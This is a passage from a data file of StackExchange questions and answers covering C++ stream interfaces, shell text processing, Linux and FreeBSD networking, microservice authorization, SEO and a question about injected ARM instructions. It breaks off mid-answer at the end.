reinterpret_cast<uint8_t*>(&finalValue);  if (_bigEndian && sizeof(T) > 1) {    for (int i = 0; i < sizeof(T); ++i) {      finalData[i] = originalData[(sizeof(T) - i) - 1];    }    originalData = finalData;  }  return this->_write(originalData, sizeof(T));}I would like to ask the following question :Is it alright to make DataStreamInterface an abstract class instead of an interface so I can use the templates like this ? Will it affect performance or memory consumption ?  std::streamsize read(T *buffer);  std::streamsize peek(T *buffer);  std::streamsize write(T value);I've recently realized that any Android and iOS application would freeze when they'll use the library with their own DataStream implementation.For instance, if the C++ side call the HttpDataStream class implemented in Java to download a file, it would freeze the whole process and maybe the whole application until the download ends.Here is an example, calling the remote DataStream class defined in Java:std::streamsize DataStreamJava::read(double value) {  jmethodID m = jni->GetMethodID(j_dataStream_class_,                                 read, (D)J);  jni->CallLongMethod(j_dataStream_global_, m);  return 0;}I've been thinking about creating a class named DataStreamObserver on the C++ side, the DataStream constructor would take an instance of the DataStreamObserver class then call it every time a read or write operation has finished.Should I create DataStreamObserver as an abstract class with templates in order to avoid implementing methods like that?virtual void onReadSuccess(int8_t value, std::steamsize length) = 0;virtual void onReadSuccess(uint8_t value, std::steamsize length) = 0;virtual void onReadSuccess(int16_t value, std::steamsize length) = 0;virtual void onReadSuccess(uint16_t value, std::steamsize length) = 0;"  , "title": "DataStream interface for reading and writing data"  , "tags": "c++;object oriented;template;interface"  , "accepted_answer": "InterfaceSeems like none of these methods should actually be virtual.class DataStreamInterface { public:  virtual bool open() = 0;  virtual void close() = 0;  virtual std::streamsize length() const = 0;  virtual std::streamsize tell() const = 0;  virtual std::streamsize seek(std::streamsize position) = 0;  virtual std::streamsize read(char *buffer,                               std::streamsize length) = 0;  virtual std::streamsize read(int8_t *buffer) = 0;  virtual std::streamsize read(uint8_t *buffer) = 0;  virtual std::streamsize read(int16_t *buffer) = 0;  virtual std::streamsize read(uint16_t *buffer) = 0;  virtual std::streamsize read(int32_t *buffer) = 0;  virtual std::streamsize read(uint32_t *buffer) = 0;  virtual std::streamsize read(float *buffer) = 0;  virtual std::streamsize read(double *buffer) = 0;  virtual std::streamsize read(std::string *buffer) = 0;  virtual std::streamsize peek(uint8_t *buffer,                               std::streamsize length) = 0;  virtual std::streamsize peek(int8_t *buffer) = 0;  virtual std::streamsize peek(uint8_t *buffer) = 0;  virtual std::streamsize peek(int16_t *buffer) = 0;  virtual std::streamsize peek(uint16_t *buffer) = 0;  virtual std::streamsize peek(int32_t *buffer) = 0;  virtual std::streamsize peek(uint32_t *buffer) = 0;  virtual std::streamsize peek(float *buffer) = 0;  virtual std::streamsize peek(double *buffer) = 0;  virtual std::streamsize peek(std::string *buffer) = 0;  virtual std::streamsize write(const char *buffer,                                std::streamsize length) = 0;  virtual std::streamsize write(int8_t value) = 0;  virtual std::streamsize write(uint8_t value) = 0;  virtual std::streamsize write(int16_t value) = 0;  virtual std::streamsize write(uint16_t value) = 0;  virtual std::streamsize write(int32_t value) = 0;  virtual std::streamsize write(uint32_t value) = 0;  virtual std::streamsize write(float value) = 0;  virtual std::streamsize write(double value) = 0;  virtual std::streamsize write(const std::string &value) = 0;  virtual ~DataStreamInterface() { }};In your implementation you add _write(), _read() and _peek() that does the actual work. Seems like these are really your virtual functions the others should just be implemented in the base class DataStreamInterface to use these virtual functions.I think I would implement like this:class DataStreamInterface { public:    // Virtual Interface:    virtual ~DataStreamInterface() { }    virtual bool open() = 0;    virtual void close() = 0;    virtual std::streamsize length() const = 0;    virtual std::streamsize tell() const = 0;    virtual std::streamsize seek(std::streamsize position) = 0; private:    // All the interesting stuff for each class is encapsulated in    // these threee virtual methods. All the other read/peek/write    // methods should delagate their work to these and not need to     // be re-implemented in each class.    virtual std::streamsize vread(char *buffer, std::size_t size) = 0;    virtual std::streamsize vwrite(char *buffer, std::size_t size) = 0;    virtual std::streamsize vpeek(char *buffer, std::size_t size) = 0;    template<typename T>    std::streamsize tread(T *buffer, std::size_t size = sizeof(T))    {        return vread(reinterpret_cast<char*>(buffer), size);    }    template<typename T>    std::streamsize twrite(T *buffer, std::size_t size = sizeof(T))    {        return vwrite(reinterpret_cast<char*>(buffer), size);    }    template<typename T>    std::streamsize tpeek(T *buffer, std::size_t size = sizeof(T))    {        return vpeak(reinterpret_cast<char*>(buffer), size);    }    // standard interface.    // I did these in a hurry there will be mistakes.  public:     std::streamsize read(char *buffer, std::streamsize length){return tread(buffer, length);}    std::streamsize read(int8_t *buffer)   {return tread(buffer);}    std::streamsize read(uint8_t *buffer)  {return tread(buffer);}    std::streamsize read(int16_t *buffer)  {return tread(buffer);}    std::streamsize read(uint16_t *buffer) {return tread(buffer);}    std::streamsize read(int32_t *buffer)  {return tread(buffer);}    std::streamsize read(uint32_t *buffer) {return tread(buffer);}    std::streamsize read(float *buffer)    {return tread(buffer);}    std::streamsize read(double *buffer)   {return tread(buffer);}    std::streamsize read(std::string *buffer) {return tread(buffer);}    std::streamsize peek(uint8_t *buffer, std::streamsize length) {return tpeek(buffer, length);}    std::streamsize peek(int8_t *buffer)   {return tpeek(buffer);}    std::streamsize peek(uint8_t *buffer)  {return tpeek(buffer);}    std::streamsize peek(int16_t *buffer)  {return tpeek(buffer);}    std::streamsize peek(uint16_t *buffer) {return tpeek(buffer);}    std::streamsize peek(int32_t *buffer)  {return tpeek(buffer);}    std::streamsize peek(uint32_t *buffer) {return tpeek(buffer);}    std::streamsize peek(float *buffer)    {return tpeek(buffer);}    std::streamsize peek(double *buffer)   {return tpeek(buffer);}    std::streamsize peek(std::string *buffer) {return tpeek(buffer.c_str(), buffer->length());}    std::streamsize write(const char *buffer,std::streamsize length) {return tpeek(buffer, length);}    std::streamsize write(int8_t value)    {return twrite(buffer);}    std::streamsize write(uint8_t value)   {return twrite(buffer);}    std::streamsize write(int16_t value)   {return twrite(buffer);}    std::streamsize write(uint16_t value)  {return twrite(buffer);}    std::streamsize write(int32_t value)   {return twrite(buffer);}    std::streamsize write(uint32_t value)  {return twrite(buffer);}    std::streamsize write(float value)     {return twrite(buffer);}    std::streamsize write(double value)    {return twrite(buffer);}    std::streamsize write(const std::string &value) {return twrite(buffer.c_str(), value.size());}};CommentsIs it alright to make DataStreamInterface an abstract class instead of an interface so I can use the templates like this ? An abstract class is an interface. The difference is terminology.Will it affect performance or memory consumption ?Sure. But not in any meaningful way. But before I can give a more exact answer I need you to be much more specific.For instance, if the C++ side call the HttpDataStream class implemented in Java to download a file, it would freeze the whole process and maybe the whole application until the download ends.Not a surprise. But nothing to do with it being a C++ function. If you ask the processor do do something it can not do anything else until it finishes. So it will freeze.Unless you explicitly make your code threaded and do some work on different threads.I've been thinking about creating a class named DataStreamObserver on the C++ side, the DataStream constructor would take an instance of the DataStreamObserver class then call it every time a read or write operation has finished.Sure. But its not going to help your stall processes by itself."  } 
{  "id": "_unix.123773"  , "question": "I want to replace any 3 or more digit string in a text file with equivalent number of *.For example: abc-1234-45 --> abc-****-45echo abc-1234-45 | sed 's/[0-9]\\{3,\\}/*/'I tried this but it only replaces it with one *.Kindly suggest a solution here."  , "title": "Replacing 3 or more digits with equivalent number of *"  , "tags": "regular expression"  } 
{  "id": "_unix.271848"  , "question": "When I add ipv4 policy rules using ip rule add the resultant rules get added to the end of the policy table with decrementing priority from 32767eg:# ip rule add lookup 8# ip rule add lookup 90:     from all lookup local32764: from all lookup 932765: from all lookup 832766: from all lookup main32767: from all lookup defaultBut when I use the same command for ipv6 ip -6 rule I get priority duplication.eg:# ip -6 rule add lookup 8# ip -6 rule add lookup 90:     from all lookup local16383: from all lookup 816383: from all lookup 932766: from all lookup main16383 is 32766/2. But I don't understand why the behaviour is different and why there is priority duplication. I am using Fedora 21. Version of iproute is: iproute-3.16.0-3.fc21.x86_64. Is this the intended behaviour for ipv6 policy routing using iproute2?Can anyone else confirm this behaviour on other systems?"  , "title": "ipv6 rule priority duplication"  , "tags": "networking;routing;ipv6"  } 
{  "id": "_unix.204822"  , "question": "I wanted to print some text between two patterns which doesn't contain a particular wordinput text isHEADER asdf asd asd COW assdTAIL sdfsdfsHEADER asdf asdsdfsd DOG sdfsdfsdfTAIL sdfsdfsHEADER asdf asdsdfsd MONKEY sdfsdfsdfTAIL sdfsdfsoutput needed isHEADER asdf asdasd COW assdTAIL sdfsdfsHEADER asdf asdsdfsd MONKEY sdfsdfsdfTAIL sdfsdfsconceptually something like this is neededawk '/HEADER/,!/DOG/,TAIL' text Kindly help "  , "title": "Print text between two patterns not containing a particular word"  , "tags": "text processing;sed;awk;text"  } 
{  "id": "_webmaster.92872"  , "question": "Is there a term for the moment when a lot of users visit/log onto your website at the same time?"  , "title": "Is there a term for the moment when a lot of users visit/log onto your website at the same time?"  , "tags": "terminology"  } 
{  "id": "_softwareengineering.310377"  , "question": "Scenario: I'm working in an Agile environment. The dev environment has not been configured yet, and I'm told to code a piece of an application.I code the module and write appropriate unit tests for it as part of the coding task, and test the code offline in my own box. There is also a testing task that needs to be performed by a non-technical testing person.Questions: At this point can I claim that I'm done with coding, since I haven't really tested my code even in the dev environment? Can I move my development task to DONE, or do I need to move it to BLOCKED due to the lack of an environment? "  , "title": "I'm done with my coding from Agile perspective"  , "tags": "testing;agile;coding"  , "accepted_answer": "Only your team can decide whether you've reached your definition of DONE.If this were my team I would be tempted to declare the task as BLOCKED but, maybe I don't have all the information.  Maybe your scenario is unique somehow and your task can be considered finished.My point is that we don't know enough about your team, project, infrastructure, office politics, etc, to give you a meaningful answer.That's why teams typically make their own Definition of Done that best meets their needs."  } 
{  "id": "_unix.74423"  , "question": "gentoo, kernel 3.7.10samba 3.6.12SMB/CIFS server: Windows Server 2003 3790 Service Pack 2I've encountered the situation when mount.cifs behaves differently from smbclient program.The following command works fine. I can log in the server and navigate through the share's contents.smbclient -U domainname/username //server.name/sharenameAnd if I try to mount this very share folder with the following command,mount -t cifs //server.name/sharename /mount/point -o user=domainname/usernamethen the command itself works fine (return code is 0, no error message). But /mount/point looks empty.What's the problem? Why mound.cifs and smbclient behave differently? Maybe smbclient uses some hidden settings?BTW, I don't know whether it is relevant to the problem but anyway. If I run mount.cifs command several times, I don't get any folder already mounted kind of message. Though afterwards I can run umount the same number of times until I get error umount: /mount/point/: not mounted"  , "title": "Why could mount.cifs mount an empty folder?"  , "tags": "linux;mount;samba;cifs"  , "accepted_answer": "Finally I've solved the problem. Thanks to Wireshark.From the Wireshark's logs I saw that when smbclient did its job then the peers exchanged GET_DFS_REFERRAL subcommands. But these messages were absent when I tried to mount the share with mount.cifs.It seems the server uses Distributed File System facilities so I tried to add the support of DFS to the kernel and that made the trick. Now I can perfectly navigate, read and write in my mounted share.Actually I thought that smbclient and mount.cifs used the same low-level instruments to connect to the SMB/CIFS servers but it isn't so. It looks like Samba can handle DFS itself without support of the kernel."  } 
{  "id": "_softwareengineering.328784"  , "question": "We plan to refactor our company system into a micro-service based system. This micro-services will be used by our own internal company applications and by 3rd party partners if needed. One for booking, one for products etc.We are unsure how to handle roles and scopes. The idea is to create 3 basic user roles such as Admins, Agents and End-Users and let the consumer apps to fine-tune scopes if needed.Admins can create, update, read and delete allresources by default (for their company). Agents can create, update and read data for their company. End-Users can create, update, delete and read data, but cannot access same endpoints as agents or admins. They will also be able to create or modify data, just not on a same level as agents or admins. For example, end users can update or read their account info, same as agent will be able to do it for them, but they can't see or update admin notes.Let's say that agents by default can create, read and update each resource for their company and that is their maximum scope which can be requested for their token/session, but developers of client (API consumer) application have decided that one of their agents can read and create only certain resources.Is it a better practice to handle this in our internal security, and let them write that data in our database, or let clients handle that internally by requesting a token with lesser scope, and let them write which agent will have which scope in their database? This way we would have to track only token scopes.The downside of this, is that our team would also need to create fine-tuned access mechanisms in our internal applications.With this way of thinking, micro-services and their authorization system should not be bothered with clients needs, because they are only consumers and not part of the system (even though some of those consumers are our own internal apps)?Is this delegation a good approach? "  , "title": "Authorization and authentication system for microservices and consumers"  , "tags": "security;authentication;microservices;authorization"  , "accepted_answer": "Authentication and authorization are always good topicsI will try to explain you how we deal with authorizations in the current multi-tenant service that I am working. The authentication and authorization is token based, using the JSON Web Token open standar. The service exposes a REST API that any kind of client (web, mobile and desktop applications) can access. When a user is sucessfully authenticated the service provides an access token that must be send on each request to the server.So let me introduce some concepts we use based on how we perceive and treat data on the server aplication.Resource: It is any unit or group of data that a client can access through the service. To all the resources that we want to be controlled we assign a single name. For instance, having the next endpoint rules we can name then as follow:product/products/products/:idpayment/payments//payments/:idorder/orders/orders/:id/orders/:id/products/orders/:id/products/:idSo let's say that so far we have three resources in our service; product, payment and order.Action: Any kind of action that can be performed on a resource, like, read, create, update, delete, etc. It is not neccesary to be just the classic CRUD actions, you can have an action named follow,  for instance, if you want to expose a service that propagates some kind of information using websokets.Ability: The ability to perform an action on a resource. For instance; read products, create products, etc. It is basically just an resource/action pair. But you can add a name and description to it too.Role: A set of abilities that a user can own. For example, a role Cashier could have the abilities read payment, create payment or a role Seller can have the abilities read product, read order, update order, delete order.Finally, an user can have various roles assigned to him.ExplanationAs I say above, we use JSON Web Token and with a custom property in the payload data, the roles that a user can own is declared. So, let suppose that we have a user can can have the roles of a cashier and seller at the same time, for a small retail store for instance. The payload will look like this:{    scopes: {        payment: [read, create],        order: [read, create, update, delete]    }}As you can see, in the scope property, we don't specify the name of the roles (cashier, seller), just the resources and the actions that are implicated. When a client sends a request to an endpoint, the service should check if the access token contains the resource and action required. For example, a GET request to the endpoint /payments/88 will be successful, but a DELETE request to the same endpoint must fail.How to group and name the resources and how to define and name the actions and abilities will be a decision made by the developers.What are the roles and what abilities will have those roles, will be a decision of the customers.Of course, you must add extra properties to de payload in order to identify the user and the customer (tenant) that issued the token.{    scopes: {        ...    },    tenant: acme,    user:coyote}With this method, you can fine tune the access of any user account to your service. And the most important, you don't have to create various predefined and static roles, like Admin, Agents and End-Users as you point out in your question. A Super User will be an user that owns a role with all the resources and actions of the service assigned to it.Now, What if we had 100 resources?, and we want a role that gives access to all or almost all of them?. Our token payload would be huge. That is solved by nesting the resources and just adding the parent resource in the access token scope.I have to say that english is not my native language, so I hope you understand my answer. Authorization is a complicated topic that must be addressed depending on the needs of each application."  } 
{  "id": "_webmaster.104480"  , "question": "What affect does it make at page ranking if i link other websites to my website as my clients, like people i have worked for and i will place a link with their logo. Does it harm the ranking because every link will not be doing the same work that i do.Example.com (Doing web development work)example1.com (Food Business)example2.com (Travel Agent)example3.com (Real Estate Company)what if i link the above 3 links to example.comQ1. Will example.com get boost in ranking.?Q2. Will example.com get bad impresssion on google.?"  , "title": "Linking other websites to my website for seo boost but they did not do the same business"  , "tags": "seo;google search;links;link building"  , "accepted_answer": "Unrelated or off-topic niche backlinks can damage your sites reputation unless they can be associated with one another through a brand or trading name.For example:Stack ExchangeStack OverflowPro WebmastersDixons RetailPC WorldCurrysKnowhowDixons travelDSGi Business One or two off topic links isn't going to do a great deal in terms of being punished by Google or Bing but they are unlikely going to help either. You should only want to link in and from such websites if they are directly associated with one another because it helps promote the brand.If ever in doubt... always use rel=nofollow on your links."  } 
{  "id": "_unix.353814"  , "question": "I have several files whose names aren't correct:$ lsdevoirNote1_1_2.R  devoirNote1_1_5.R  devoirNote1_4_1.RdevoirNote1_1_3.R  devoirNote1_1.R    devoirNote1.RdevoirNote1_1_4.R  devoirNote1_2_1.R  example140.RI want to change all devoirNote1_i_j.R with the i and j integers except devoirNote1_4_1.R to devoirNote1_{i+1}_j.R (only devoirNote1_4_1.R is left unchanged).I thought of using the command mvlike mv devoirNote1_*_2.R devoirNote1_2_2.R but when several files match (for example if both devoirNote1_1_2.R and devoirNote1_3_2.R are present), it creates an issue.Therefore, how to create a script or a command line that renames my files, by incrementing one of the variables in the filenames, but not all of them?"  , "title": "How to create a script or a command line that increment the variable part of the name of my files but some of them?"  , "tags": "command line;scripting;rename;filenames;variable"  } 
{  "id": "_codereview.169830"  , "question": "I wrote a function to create one of those CSS triangle blocks and insert it right after one of the already created blocks. function createArrow() {    var arrowDown = {        parent: document.querySelector('.landingItem'),        div: document.createElement('div'),        initDiv: function() {            this.div.classList.add('arrow-down');            this.div.style.borderLeftWidth = parseInt(document.documentElement.clientWidth)/2 + 'px';            this.div.style.borderRightWidth = parseInt(document.documentElement.clientWidth)/2 + 'px';            this.parent.appendChild(this.div);        },        checkDiv: function () {            if(this.parent.querySelector('.arrow-down')) {                this.parent.removeChild(this.parent.querySelector('.arrow-down'));            }            this.initDiv();        }    };    arrowDown.checkDiv();}createArrow();window.addEventListener('resize', createArrow);.arrow-down {  margin-top: -2px;  border-top: 60px solid #501a70;  border-left: 160px solid transparent;  border-right: 160px solid transparent;}<div class=landingItem></div>What can I improve?"  , "title": "Create a triangle arrow block dynamically"  , "tags": "javascript;css"  } 
{  "id": "_unix.87543"  , "question": "Currently I'm running a FreeBSD 9.1 and the default gateway is already configured in the rc.conf.rc.conf:defaultrouter = 10.0.0.1But now I want to change the default gateway without rebooting the system, is this possible?"  , "title": "How can I change the default gateway?"  , "tags": "routing;freebsd"  , "accepted_answer": "route del defaultroute add default 1.2.3.4Where 1.2.3.4 is the new gateway. You can even concatenate them onto the same line with a ;Edit: This is FreeBSD, not Linux. The command is different. Please do not edit this Answer if you haven't read the Question carefully enough to determine the operating system being used."  } 
{  "id": "_unix.175993"  , "question": "I have to compare two files, file1 and file2. Each file has 56 columns separated by |.First column is the employee number in the file, I will check whether same employee number is present in the second file or not. If not we will write the whole row to the output file. If same employee number is present in the file2, I need to compare value of each column. If data doesn't match, we have to write it to the output file.  If values of each column match then we need to omit that record.Sample FileFile 12620|256034|131021|Mission Quality and Wipro Way|||2622|256034|131021|Mission Quality and Wipro Way|||2623|256034|131021|Mission Quality and Wipro Way|||File 22620|256034|234567|Mission Quality and Wipro Way|||2621|256034|131021|Mission Quality and Wipro Way|||2622|256034|131021|Mission Quality|||2623|256034|131021|Mission Quality and Wipro Way|||Sample Output:2620|256034|131021|Mission Quality and Wipro Way|||2621|256034|131021|Mission Quality and Wipro Way|||2622|256034|131021|Mission Quality|||"  , "title": "Comparing two files in unix and awk"  , "tags": "awk;diff;file comparison"  } 
{  "id": "_unix.312384"  , "question": "I bought an USBASP 2.0 programmer and hooked it up, I cannot see any port created by the programmer. What I expect is USBtty0 in /devTo fix it I have restarted UDEV and tried other UDEV configurations but it doesn't show.unameLinux Puc 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/LinuxlsusbBus 003 Device 092: ID 16c0:05dc Van Ooijen Technische Informatica shared ID for use with libusbdmesg[181622.326920] usb 3-5: new low-speed USB device number 92 using xhci_hcd[181622.460268] usb 3-5: New USB device found, idVendor=16c0, idProduct=05dc[181622.460270] usb 3-5: New USB device strings: Mfr=1, Product=2, SerialNumber=0[181622.460271] usb 3-5: Product: USBasp[181622.460272] usb 3-5: Manufacturer: www.fischl.deudev ruleSUBSYSTEMS==usb, ENV{DEVTYPE}==usb_device, ATTRS{idVendor}==16c0, ATTRS{idProduct}==05dc, MODE=0666this device: http://www.fischl.de/usbasp/[EDIT]  Using this command from the arduino/hardware/tools/avr directory, the connection works, just not from within the Arduino IDE../bin/avrdude -C etc/avrdude.conf -c usbasp -P usb -p m328pavrdude: warning: cannot set sck period. please check for usbasp firmware update.avrdude: AVR device initialized and ready to accept instructionsReading | ################################################## | 100% 0.00savrdude: Device signature = 0x1e950favrdude: safemode: Fuses OK (H:05, E:DF, L:FF)avrdude done.  Thank you."  , "title": "USBasp not creating ttyUSB0"  , "tags": "udev;ttyusb"  , "accepted_answer": "I don't think it's supposed to.If I remember correctly, USBasp works with custom control transfers, and e.g. avrdude looks it up from /dev/bus/usb by the vendor and product IDs and ID strings.With avrdude, something like this should work, or complain that it can't find a USB device with the correct IDs:avrdude -P usb -c usbasp -p $UCAlso, since USBasp works with software-implemented USB, it's limited to low-speed operation, which in principle means that it can't work as a serial port:The USB CDC class is intended for modems and other communication devices. [...]  CDC requires bulk endpoints which are forbidden for low speed devices by the USB specification. (quote from the V-USB wiki)"  } 
{  "id": "_webapps.43386"  , "question": "I am trying In Google Drive, how can you link directly to Download a zip file and not view the contents? but it does not work. I am not sure on how to repeat the question. It downloads a 'file is too big to be antivirus scanned' warning HTML and when I try https://drive.google.com/uc?export=download&confirm=no_antivirus&id= it still downloads that.Edit: I tried to wget --save-cookies /tmp/cookie.txt --load-cookies /tmp/cookie.txt and repeat it, still no dice."  , "title": "Google Drive direct download for big files"  , "tags": "google drive"  , "accepted_answer": "A cookie must match the confirm url parameter, and it is changed on each call.Here's a perl script to download these files in an unattended way.With the url from the antivirus scan warning page (https://drive.google.com/uc?export=download&confirm=s5vl&id=XXX) this code should be enough:#!/usr/bin/perluse strict;my $TEMP='/tmp';my $COMMAND;my $confirm;sub execute_command();my $URL=shift;my $FILENAME=shift;$FILENAME='gdown' if $FILENAME eq '';execute_command();if (-s $FILENAME < 100000) { # only if file isn't the download yet    open fFILENAME, '<', $FILENAME;    foreach (<fFILENAME>) {        if (/confirm=([^;&]+)/) {            $confirm=$1; last;   }    }    close fFILENAME;    $URL=~s/confirm=([^;&]+)/confirm=$confirm/;    execute_command();    }sub execute_command() {    $COMMAND=wget --no-check-certificate --load-cookie $TEMP/cookie.txt --save-cookie $TEMP/cookie.txt \\$URL\\;    $COMMAND.= -O \\$FILENAME\\ if $FILENAME ne '';    `$COMMAND`; return 1;    }"  } 
{  "id": "_unix.219991"  , "question": "I have parent folder and inside this folder I have 4 files ParentFolder      File1.txt      File2.txt      File3.txt      File4.txtI wanted to create subfolders inside the parent folder and carry the name of the files then move every file inside the folder that carry it is name like:ParentFolder    File1                File1.txt    File2                File2.txt    File3                File3.txt    File4                File4.txtHow can I do that in batch or tsch script?I tried this script:#!/bin/bashin=path_to_my_parentFolderfor i in $(cat ${in}/all.txt); docd ${in}/${i} ls > files.txtfor ii in $(cat files.txt); domkdir ${ii}mv ${ii} ${in}/${i}/${ii} done     done"  , "title": "How do I create a directory for every file in a parent directory"  , "tags": "bash;shell script;files;tcsh"  , "accepted_answer": "You're overcomplicating this. I don't understand what you're trying to do with all.txt. To enumerate the files in a directory, don't call ls: that's more complex and doesn't work reliably anyway. Use a wildcard pattern.To strip the extension (.txt) at the end of the file name, use the suffix stripping feature of variable substitution.Always put double quotes around variable substitutions.cd ParentFolderfor x in ./*.txt; do  mkdir ${x%.*} && mv $x ${x%.*}done"  } 
{  "id": "_softwareengineering.345694"  , "question": "I'm trying to build a Java application that connects to a remote database that stores and retrieves video files that can be over 200MB. I could store/retrieve these files in MySQL directly as LONGBLOBs, yet I read again and again how that's bad practice for various reasons. One solution commonly offered is to store the files on the filesystem and have the database store the location file and serve it up from the server directly.My problem is, I'm very new to storage and am completely unsure of how to go about doing that. Should I make an FTP connection to the front end once a video file has been requested, then deliver that video over that connection? Or are people usually talking about something else when they say to pull it from the filesystem?I'm using Java and JDBC to make calls to MySQL."  , "title": "How to properly serve large video files stored outside a MySQL database"  , "tags": "java;database;sql;jdbc"  } 
{  "id": "_softwareengineering.343939"  , "question": "I am working on a networking project. Where I am creating a dashboard to view real time status (CPU/memory usage, up/down traffic and few others) of multiple routers by calling API request to server which will call another API request to the routers ( Mikrotik Routers, they offer api to do configuration and get statuses ).Problem: In testing each request surge my VPS CPU usage up to 20%. This is only one user viewing the dashboard and doing request. What if I have multiple customers and each one of them viewing the dashboard and doing multiple request to the servers. It is going to go down for sure, right?Here is part of back end code:$routers = //Get all the routers belong to that usersforeach($routers as $router){            $api = connectRouter();            if($api === false){                continue;            }            $api->write('/ip/hotspot/user/getall');            $users = $api->read();            $api->write('/ip/hotspot/active/getall');            $actives = $api->read();            $resources = $api->comm('/system/resource/print');            $resources = $resources[0];            $api->write('/interface/getall');            $router->interfaces = $api->read();} Question: What option do I have to reduce the CPU usage and be able to provide this services to multiple customers?Up to what I had researched:I should try Node.js ? Change ways I am calling from front end: instead of calling API to getting all routers data at once, change it to get one by one?NOTE1. Those values in routers change every second (if not millisecond). I want to get value in real time as much as possible. So caching is not a solution here I think.Every users have their own set of routers. They don't share routers. So doing some duplicate router query check won't be a benefit I think. ( Yeah can be useful if the same logged in user trying to view on multiple devices or browser tabs. ) But I am trying to optimize for multiple users."  , "title": "Realtime frontend dashboard, calling api every 3 seconds, reduce cpu loads"  , "tags": "design patterns;web development;api;api design;node.js"  } 
{  "id": "_softwareengineering.327763"  , "question": "Programming is complex. And throughout the years new technologies emerge that lay/depend upon older technologies, resulting in the need for deeper knowledge in a broad set of technologies in order to achieve a single goal.One example of that affirmation could be the web development scenario. Once only what was needed was HTML marking. Nowadays a single web application may depend on many languages, technologies and frameworks.So, considering the tendency it is presumable that the traditional way of programming computers will reach a bottleneck on the next few decades.How is this problem supposed to be worked out if (or when) binary computers hit the bottleneck?"  , "title": "How are academics planning to solve the bottlenecks of binary computer's programming in the upcoming years?"  , "tags": "future proof"  , "accepted_answer": "HTML still works just as well as it did before.  Nothing requires you to get fancy except competition to make the best stuff.HTML is a domain specific language.  It solves structural problems well.  It doesn't solve behavioral problems well.  If it did it would look a lot different and likely be harder to use.General purpose languages like c# can do either but with that power comes a wide vocabulary and syntax to master.Adding more domain specific languages, CSS, Xml, Json, SQL, does not send us to a bottleneck.  It puts more easy to use tools in your toolbox.  If you'd rather stick with one general purpose tool you can but since it was designed to be suitable for every job it's more like a Swiss Army knife.  It can do every job. It's just equally difficult to use for every job.The downside of the domain specific language approach is you need to master an ever growing number of disparate tools.  The downside of the general purpose language approach is while you can stick to one complex language you need to master an ever growing number of library's, which are also just tools.Neither approach leads to a bottleneck.  As we develop more tools we'll discard less useful tools.  "  } 
{  "id": "_webmaster.54645"  , "question": "So we wish to host some pages on a new server with apache2, and embed some of our old content & functionality from another server with lighttpd in an iframe. I'm looking at this configuration from the apache docs (http://httpd.apache.org/docs/2.2/vhosts/examples.html#page-header)  under Using Virtual_host and mod_proxy together.<VirtualHost *:*>    ProxyPreserveHost On    ProxyPass / http://192.168.111.2/    ProxyPassReverse / http://192.168.111.2/   ServerName hostname.example.com</VirtualHost>The only issue is that I want to proxy only on a subdomain, or even better, if I can keep the top domain and proxy only if the url contains a particular path ie. /myprocess.php. So in essence the DNS will point to the apache2 as the master router."  , "title": "Serve most of a domain with Apache, but use mod_proxy to serve some URLs from Lighttpd"  , "tags": "apache;apache2;iframe;lighttpd"  } 
{  "id": "_unix.147730"  , "question": "From my understanding, all IP addresses of the form 127.x.y.z are loopback addresses. Now that seems to be quite a waste to me; indeed, already more than one address seems like a waste.Is there any use in having so many loopback addresses?"  , "title": "Why are there so many loopback addresses?"  , "tags": "networking"  , "accepted_answer": "Some reasons I've found:Historical limitation: there is no MASK in the first implementation of tcpip, that means network nodes use the first number to distinguish network size and host ID. moreover, since class A is determined by its first octet, the higher-order bit is 0, so 127.x.x.x (01111111.x.x.x) is the latest segement of class A addresses. people often use all zero or all one numbers for special usages, reserving a class A segment is for maximum flexibility.Easy implementation: as what i say above, there was no MASK concept in early days, segment address 01111111.00000000.00000000.00000000 is easy to be determined by AND/XOR operations quickly and easily. even nowadays, such pattern is still easy for matching subnets by applying XOR operation.Reserved for future use: class A has 1,677,216 hosts, so it allows people have more space to divide it into a lot of reasonable zones for specific usages, different devices, systems and applications.Extracted from here"  } 
{  "id": "_unix.330370"  , "question": "Both LFS and CLFS apply patches to the GCC source before building.The CLFS patches are a bit more involved than the LFS patches, but what they have in common is the changing of the path used to find the dynamic linker.  In this case its moved to the location where a new version of glibc is going to be built.Since, at least in the case of CLFS, you are building a cross toolchain and presumably you cannot run anything built with this chain on your build machine, what difference does it make where GCC has programs look for the dynamic linker.  Isn't that a runtime operation which is never going to happen anyway?  Also, if you built a binary with this GCC, one which required shared libraries, and attempted to run it on your target wouldn't the path to the dyanmic linker now be wrong?Additionally (C)LFS has you modify the STANDARD_STARTFILE_PREFIX_X to point to $INSTALL_PATH/tools/lib/.  Wouldn't those paths presumably be checked when/if you specifiy --with-sysroot?  After building GCC with --with-sysroot if I check --preint-search-dirs I don't see it looking in any paths besides ones referenced to either prefix or --with-sysroot."  , "title": "Why LFS and CLFS change the path used to find the dynamic linker?"  , "tags": "gcc;lfs"  } 
{  "id": "_unix.108589"  , "question": "There's a neat Control-L hotkey in Emacs that repetitively moves the cursor to the top/middle/bottom of the screen. I'm quite sure there's a vim equivalent for that, but I couldn't find it."  , "title": "Emacs's  vim equivalent"  , "tags": "vim;keyboard shortcuts"  } 
{  "id": "_reverseengineering.13011"  , "question": "In the following code, I injected my own instructions to modify third param of sprintf() function, but the process stopped at EXC_BAD_INSTRUCTION. Can anybody tell me what happened in my code?0x144502 <+6>:  movw   r0, #0xc70       ; injected code start here0x144506 <+10>: movt   r0, #0x8bb30x14450a <+14>: movw   r3, #0x5760x14450e <+18>: ldr    r1, [r7]0x144510 <+20>: movs   r5, #0x1a0x144512 <+22>: add    r5, pc           ; next instruction will jump over 9 instructions0x144514 <+24>: bx     r5               ; pc = 0x00144514                                        ; r5 = 0x001445300x144516 <+26>: ldr    r1, [r0]0x144518 <+28>: ldr    r0, [r2]0x14451a <+30>: blx    0x29111c0x14451e <+34>: movw   r1, #0x64420x144522 <+38>: movt   r1, #0x180x144526 <+42>: add    r1, pc0x144528 <+44>: ldr    r1, [r1]0x14452a <+46>: blx    0x29111c0x14452e <+50>: mov    r3, r10x144530 <+52>: movw   r1, #0x66a4      ; bx r5 landed here. But r1 has not been loaded0x144534 <+56>: movt   r1, #0x15        ; with new value. Why?0x144538 <+60>: mov    r2, r00x14453a <+62>: add    r1, pc           ; this instruction never get called0x14453c <+64>: mov    r0, r4           ; EXC_BAD_INSTRUCTION raised here0x14453e <+66>: blx    __sprintf"  , "title": "Injected instructions hit `bad instruction` exception"  , "tags": "assembly;arm"  , "accepted_answer": "Looks like you forgot to 